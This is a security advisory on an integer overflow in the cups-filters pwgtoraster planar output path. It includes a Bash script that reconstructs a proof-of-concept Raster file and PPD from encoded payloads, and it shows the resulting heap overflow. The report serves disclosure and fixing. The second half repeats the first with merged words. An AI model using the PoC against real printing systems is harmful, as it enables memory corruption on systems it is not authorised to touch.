Summary
The planar output path allocates a whole-page buffer using an unchecked
32-bit height-times-row-size product. A 65,536-by-65,536 derived output page
wraps the allocation request to zero; the first 65,536-byte row is then copied
past the minimal allocation returned by calloc(0, ...).
This state combines a small Raster document with a PPD that selects planar RGB
and an extreme output page geometry. It is therefore primarily a
printer-configuration boundary issue.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a
- libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686
- libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
poc/document.ras is a 67,849-byte Raster input with SHA-256
eb3985c5493ef979664e0569de54492ad335fa9b0f6afdfbd142df784ef5d690.
poc/printer.ppd derives a 65,536-by-65,536 planar RGB output.
Run:
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: pwgtoraster: planar page-buffer multiplication wraps to zero
# Finding ID: pwgtoraster-planar-page-buffer-integer-overflow
# Trigger: The planar output path allocates a whole-page buffer using an
# unchecked 32-bit height-times-row-size product. A 65,536-by-65,536 derived
# output page wraps the allocation request to zero; the first 65,536-byte row
# is then copied past the minimal allocation returned by calloc(0, ...).
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.ras (67849 bytes)
write_file document.ras eb3985c5493ef979664e0569de54492ad335fa9b0f6afdfbd142df784ef5d690 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+3VZ7TIZRwH8L9rJMq4CGWWjBAJ2eN2sxMX2eXiUma4yIh77ZCRrSGjQcksu2GT
Xdm7yI5syjjHvedweuGFlz7fc77nPOf3PM+bz/PiKVQrMqJG15YRkZ2iozoGEp9KcQ293Ry3GxES
BBdC7j0Tv3f/JIjrvbP4SdK4xp8JvetW8L91TMU7HVE+CFKFBTFpw4OgdLgXE5GHNdWioh/sA4sN
EoQkTJQ4ySNJH02W/LHHU6RMlTo0Tdp0T6TPkPHJpzJlzpI1W/ann8nxbM5cufM8lzdf/ucLFHyh
0IuFixR9qVjxEiVLlS5Ttlz5sJfDX6lQsVLlKlWrvVr9tRo1I2rVrvN63Xr1GzRs1PiNN5tENm3W
PKpFy7febtW6Tdt27d/p0LFTdOcuXd/t1r1Hz/d69Y6Nie3Tt1//AQMHvT94yNAPhg0fMfLDUaPH
jB03fsLEjz7+5NNJn02eMnXa5198+dX0GV9/M/PbWbPnzJ03/7vvFyxctHjJ0mU//PjTz8tXrFy1
es3adet/2bBx0+YtW7f9+tvv23fs3LV7z959+w8cPHT4jz+PHP3r2PETJ0+dPvP32XP/nL9w8dLl
K1evXf/3vxs3CRAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAg
QIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAA
AQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIE
CBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAg
QIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAA
AQIECBAgQIAAAQK3AIijBpsJCQEA
POC_PAYLOAD_0
# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (1503 bytes)
write_file printer.ppd 1746f1f747908da00366526cfa9202b3109b640bbe6cac9d65b66eeceb9467b1 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA41S227iMBR8z1dYPLVIJReuRVUlLqWLCiUqYlfbigeTmNRaY0dO0u3y9XvslDhQ
QDwkUWbGZ86Z46rvD296oViRLqo0avWKVR0JucHpTyITKrhBKSMGc2sOYBPMowxHBn/gEaPJu2Ee
eCBCyqMuGs9nE5xS7lrVKebZGgdpJomEWrOYcF9SDmQERaciJOwZb1RDQRYnN2vKUjBA62y7RbEU
8E9AN38XMn2mwZ9TWtCco0ul/IGa7ks4Wry+1iAVhUsRZkEK4NXJ49dKNzfJXNUd17lGKh51piAg
sRzJ58s2KzX8DoNEMBuImJKki0aYJSQnRtoRyuI4ZjSAAAW3P3hY0/1InACLHBT/jVKR/4GvCnQx
RlUfFjCnWxjKhxxmHGoOyRpnLDVMr2EVOvixew0wu7uzd9hbq9mst5B+L+3xBkewpX5ffCKeMXZ/
n5A0BmlIPmigo9zVmpAUurHzz2FN10PtW++SegMmErIYd800xRDqMMErRnqS4HySPQjpWRyIpzRD
5VBUNOh2EIiatw3UbipZEVVM5JBuCM/3mAdWxnKffY8DRWHyNXlpSQPBhNR34vuaytzLY98qidGj
xP9s9cqzVfdBs/MYBwS5HY30aZr4RGoC7UE+/YQinSOBGwuwtOE5bmCAmQzhEnqXGWoIbr9WJKh+
toHB9PeTrV5HW2hd5Fj3zl0qY2Y28kISwbJUb/twI2Wu7YUxtUryHLHbHoJP3vKPX4Z+A6LtLb+3
U6rQchxVAj4naigGnuW5oYzc+g8BVgD/3wUAAA==
POC_PAYLOAD_1
Result
ASan reports a 65,536-byte heap-buffer-overflow write at
pwgtoraster.c:2159, immediately after the minimal region representing the
zero-size allocation at line 1772. The plain build exits with SIGSEGV,
status 139.
The complete 65,536-byte copied row is controlled by the Raster document. The
memory primitive is broad and direct, but its PPD must enable planar RGB and
derive an approximately 23-metre-square page. Ordinary print-job submitters
do not normally control that configuration.
Cause and expected behavior
For planar output, doc->outheader.cupsHeight * inlinesize is evaluated from
32-bit values:
The product passed to calloc() at pwgtoraster.c:1772 is therefore zero.
The per-row destination expression and 65,536-byte memcpy() at lines
2159-2160 retain the logical dimensions.
The page-buffer size and every row offset must use checked size_t
arithmetic. Impractical page dimensions should be rejected before any
allocation, independently of PPD validation.
Summary
The planar output path allocates a whole-page buffer using an unchecked
32-bit height-times-row-size product. A 65,536-by-65,536 derived output page
wraps the allocation request to zero; the first 65,536-byte row is then copied
past the minimal allocation returned by
calloc(0, ...).This state combines a small Raster document with a PPD that selects planar RGB
and an extreme output page geometry. It is therefore primarily a
printer-configuration boundary issue.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters
11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppdfc41539f761286396a7df8aeeda762070192e37e.Validated revisions:
11d1a190530f85a361a1b3835f57d635256dff1a905fd94fb22a9298bc8e2c845eb7e04f7055b686522af8dd135f4dde66b1aac8b9d067808bbe122dpoc/document.rasis a 67,849-byte Raster input with SHA-256eb3985c5493ef979664e0569de54492ad335fa9b0f6afdfbd142df784ef5d690.poc/printer.ppdderives a 65,536-by-65,536 planar RGB output.Run:
The following commented Bash script constructs the exact PoC and control
inputs. Save it as
make_poc.sh, then runbash make_poc.sh poc.Result
ASan reports a 65,536-byte heap-buffer-overflow write at
pwgtoraster.c:2159, immediately after the minimal region representing thezero-size allocation at line 1772. The plain build exits with SIGSEGV,
status 139.
The complete 65,536-byte copied row is controlled by the Raster document. The
memory primitive is broad and direct, but its PPD must enable planar RGB and
derive an approximately 23-metre-square page. Ordinary print-job submitters
do not normally control that configuration.
Cause and expected behavior
For planar output,
doc->outheader.cupsHeight * inlinesizeis evaluated from32-bit values:
The product passed to
calloc()atpwgtoraster.c:1772is therefore zero.The per-row destination expression and 65,536-byte
memcpy()at lines2159-2160 retain the logical dimensions.
The page-buffer size and every row offset must use checked
size_tarithmetic. Impractical page dimensions should be rejected before any
allocation, independently of PPD validation.